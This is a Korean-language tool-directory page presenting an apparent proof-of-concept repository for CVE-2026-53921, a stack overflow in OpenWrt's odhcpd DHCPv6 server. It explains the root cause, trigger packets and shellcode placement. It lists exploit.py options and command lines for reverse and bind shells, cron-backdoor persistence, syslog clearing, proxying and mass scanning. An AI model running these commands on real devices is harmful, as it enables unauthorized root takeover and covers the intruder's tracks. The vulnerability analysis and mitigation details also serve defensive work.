Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – odhcpd 스택 오버플로우 (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE에 대한 상세하고 포괄적인 취약점 Write-Up 및 Verifier & Multi-exploit. 이중 벡터(IA_NA/IA_PD) 오버플로우와 MIPS/ARM 셸코드, ROP 체인, SOCKS5 프록시, 지속성, 로그 삭제 및 대량 스캐닝을 포함합니다. 윤리적으로 사용하고, 법을 준수하세요. 🔒 | Kitploit
도구/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
Embedded Systems SecurityReconnaissanceExploit FrameworksIoT SecurityVulnerability AnalysisExploitationPost-ExploitationRed TeamingShellcode Generation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Payload Development
Binary Exploitation
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

CVE-2026-53921 – odhcpd 스택 오버플로우 (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE에 대한 상세하고 포괄적인 취약점 Write-Up 및 Verifier & Multi-exploit. 이중 벡터(IA_NA/IA_PD) 오버플로우와 MIPS/ARM 셸코드, ROP 체인, SOCKS5 프록시, 지속성, 로그 삭제 및 대량 스캐닝을 포함합니다. 윤리적으로 사용하고, 법을 준수하세요. 🔒

저장소 보기
614211일 전아직 검토되지 않음

CVE-2026-53921

CVE-2026-53921 – odhcpd 스택 오버플로

CVE CVSS OpenWrt

  • 교육 및 승인된 테스트 목적으로만 사용하십시오. 무단 사용은 불법입니다.**

취약점 개요

CVE-2026-53921은 OpenWrt의 odhcpd 데몬(기본 DHCPv6/DHCPv4/RA 서버)에 존재하는 치명적인 스택 버퍼 오버플로입니다.

동작 방식

이 취약점은 odhcpd의 DHCPv6 메시지 처리 코드, 구체적으로 build_ia() 및 dhcpv6_ia_handle_IAs() 함수에 존재합니다.

기술적 심층 분석

1. 근본 원인

이 버그는 DHCPv6 Reply 패킷의 직렬화(패킹) 과정에서 발생합니다. odhcpd가 클라이언트 요청에 응답할 때, 적절한 경계 검사 없이 512바이트 크기의 고정 크기 스택 버퍼에 응답을 구성합니다.

// 취약한 코드의 단순화된 표현

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // 쓰기 전 경계 검사 없음
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. 오버플로 트리거

공격자는 다음과 같은 내용을 포함한 DHCPv6 Request(또는 Solicit)를 전송합니다:

  • 5개 이상의 IA_NA(비임시 주소용 Identity Association) 옵션. 각각 IAAddress 하위 옵션을 포함합니다.
  • 22개 이상의 IA_PD(프리픽스 위임용 Identity Association) 옵션.

odhcpd가 Reply를 구성할 때 각 옵션이 스택 공간을 소비합니다. 누적된 데이터가 512바이트를 초과하여 오버플로가 발생합니다.

3. 두 가지 오버플로 벡터


벡터 트리거 오버플로 지점


Site 1 IPv6 주소를 포함한 IA_NA에 대한 build_ia() 5개의 IA_NA 옵션

Site 2 22개의 IA_PD 옵션 IA_PD에 대한 build_ia()

근본 원인은 동일하지만, 오버플로가 서로 다른 코드 경로에서 발생하므로 두 벡터 모두 동일하게 악용 가능합니다.

4. 메모리 레이아웃

스택 레이아웃 (단순화):

+-------------------+  <-- 높은 주소
|    반환 주소       |  ← 공격자가 제어하는 값으로 덮어씀
+-------------------+
|  저장된 프레임 포인터 |
+-------------------+
|  지역 변수         |  ← 512바이트 버퍼
+-------------------+  <-- 낮은 주소

공격자는 저장된 반환 주소를 덮어써 메모리 내 자신의 셸코드를 가리키도록 합니다.

5. 악용 요구 사항


요구 사항 설명


네트워크 접근 공격자는 대상에 대한 IPv6 연결이 있어야 함

인증 없음 -- 비인증 공격

권한 odhcpd는 root로 실행되므로 RCE는 전체 시스템 제어 권한을 부여함

대상 서비스 UDP 포트 547 (DHCPv6)이 열려 있어야 함

6. 셸코드 배치

실제 익스플로잇에서 공격자의 셸코드는 IAAddress IPv6 주소 필드(IA_NA당 16바이트)에 배치됩니다. 조작된 패킷은 셸코드, NOP 슬레드, 반환 주소를 이 필드들에 패킹합니다.

조작된 IA_NA 구조:

+-------------------+
| IA_NA 헤더         | (12바이트)
+-------------------+
| IAAddress 1       | ← NOP 슬레드 + 셸코드
+-------------------+
| IAAddress 2       | ← NOP 슬레드 + 셸코드
+-------------------+
| IAAddress 3       | ← NOP 슬레드 + 셸코드
+-------------------+
| IAAddress 4       | ← 반환 주소
+-------------------+
| IAAddress 5       | ← 반환 주소
+-------------------+

7. 영향 체인

조작된 DHCPv6 Request
         ↓
odhcpd가 IA_NA/IA_PD 옵션 처리
         ↓
512바이트 스택 버퍼 오버플로
         ↓
반환 주소 덮어쓰기
         ↓
CPU가 셸코드로 점프
         ↓
리버스 셸 / 바인드 셸 / RCE
         ↓
전체 시스템 장악 (root 권한)

8. 공격 벡터 대 완화 상태

버전 상태 RCE 가능?


odhcpd < e432dd6 취약 [+] 예 OpenWrt < 24.10.8 취약 [+] 예 OpenWrt < 25.12.5 취약 [+] 예 OpenWrt 24.10.8+ 패치됨 [-] 아니오 OpenWrt 25.12.5+ 패치됨 [-] 아니오 odhcpd master + e432dd6 패치됨 [-] 아니오

9. 실제 악용

이 취약점이 특히 위험한 이유는 다음과 같습니다:

  • odhcpd는 OpenWrt 설치 시 기본적으로 활성화됩니다.
  • 인증이 필요하지 않습니다---동일한 IPv6 세그먼트에 있는 모든 장치가 공격할 수 있습니다.
  • 버그가 요청 처리 경로에 있습니다.
  • 임베디드 MIPS/ARM 장치에는 스택 카나리와 ASLR이 거의 존재하지 않습니다.
  • 이 익스플로잇은 많은 임베디드 환경에서 일반적인 방어를 우회할 수 있습니다.

영향을 받는 버전

구성 요소취약한 버전수정된 버전
odhcpd (master 브랜치)커밋 e432dd6 이전e432dd6 이상
OpenWrt 릴리스< 24.10.8
< 25.12.5
24.10.8 & 25.12.5

도구

이 저장소는 두 개의 독립적인 스크립트를 제공합니다:

스크립트목적익스플로잇 코드안전성
verifier.py비침투적 취약점 검사[-] 아니오[+] 안전
exploit.py완전한 무기화 익스플로잇[+] 예[!] 위험

verifier.py – 취약점 검사기

  • 서비스가 활성 상태인지 확인하기 위해 표준 DHCPv6 Solicit을 전송합니다.
  • HTTP/SSH 배너를 읽어 OpenWrt 버전을 탐지합니다.
  • 버전을 알려진 취약 범위와 비교합니다.
  • 오버플로 페이로드나 셸코드를 전송하지 않습니다.

exploit.py – 전체 익스플로잇

  • 이중 오버플로 벡터: IA_NA (Site1) 및 IA_PD (Site2).
  • 자동 아키텍처 탐지 (MIPS / ARM).
  • MIPS 빅엔디안 리버스 및 바인드 셸코드.
  • SOCKS5 프록시 지원.
  • 지속성 (cron 백도어) 및 로그 삭제.
  • 스레드 스캐닝 및 대량 익스플로잇.
  • 선택적 페이로드 인코딩 (XOR).

설치

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#참고: 두 스크립트 모두 원시 IPv6 패킷을 생성하려면 root 권한이 필요합니다.

사용법

Verifier – 대상이 취약한지 확인

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

Exploit – 리버스 셸 획득 (불법 활동에 사용하지 마십시오, 승인된 테스트에만 사용)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

명령줄 옵션

verifier.py

인수설명
-u, --target대상 IPv6 주소 (필수)
-i, --iface네트워크 인터페이스 (기본값: eth0)

exploit.py

인수설명
-u, --target대상 IPv6 주소
-l, --list대상 목록이 포함된 파일
-i, --iface네트워크 인터페이스 (기본값: eth0)
--lhost리스너 IP (필수)
--lport리스너 포트 (기본값: 4444)
--vectorsite1, site2, 또는 both (기본값: both)
--offset스택 오프셋 (기본값: 512)
--ret16진수 반환 주소 (예: 0x7ffff000)
--archmips 또는 arm 강제 지정 (생략 시 자동 탐지)
--payloadreverse 또는 bind (기본값: reverse)
--encodenone 또는 xor (기본값: none)
--proxy-hostSOCKS5 프록시 IP
--proxy-portSOCKS5 프록시 포트 (기본값: 1080)
--persistencecron 백도어 설치
--clear-logs익스플로잇 후 syslog 삭제
--scan-only대상만 스캔하고 익스플로잇하지 않음
--threads스캐닝용 스레드 수 (기본값: 5)
--verbose상세 로깅

예제 시나리오

1. 대상 목록 스캔

sudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. 바인드 셸로 단일 대상 익스플로잇
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. SOCKS5 프록시 + 지속성 + 로그 삭제 사용
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs

완화

OpenWrt를 24.10.8 또는 25.12.5 이상으로 업그레이드하십시오.

opkg update
opkg upgrade odhcpd

참고 자료

공식 출처

  • OpenWrt 보안 권고 (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 odhcpd의 두 오버플로 벡터를 모두 다루는 상세 권고.

  • CVE-2026-53921 NVD 항목 https://nvd.nist.gov/vuln/detail/CVE-2026-53921 공식 NIST 취약점 데이터베이스 항목.

  • OpenWrt 24.10.8 릴리스 노트 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 브랜치의 공식 릴리스 발표.

  • OpenWrt 25.12.5 릴리스 노트 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 브랜치의 공식 릴리스 발표.

동일 릴리스에서 수정된 관련 CVE

24.10.8 및 25.12.5 릴리스는 CVE-2026-53921 외에도 여러 odhcpd 취약점을 해결합니다 [citation:9]:

도구 다운로드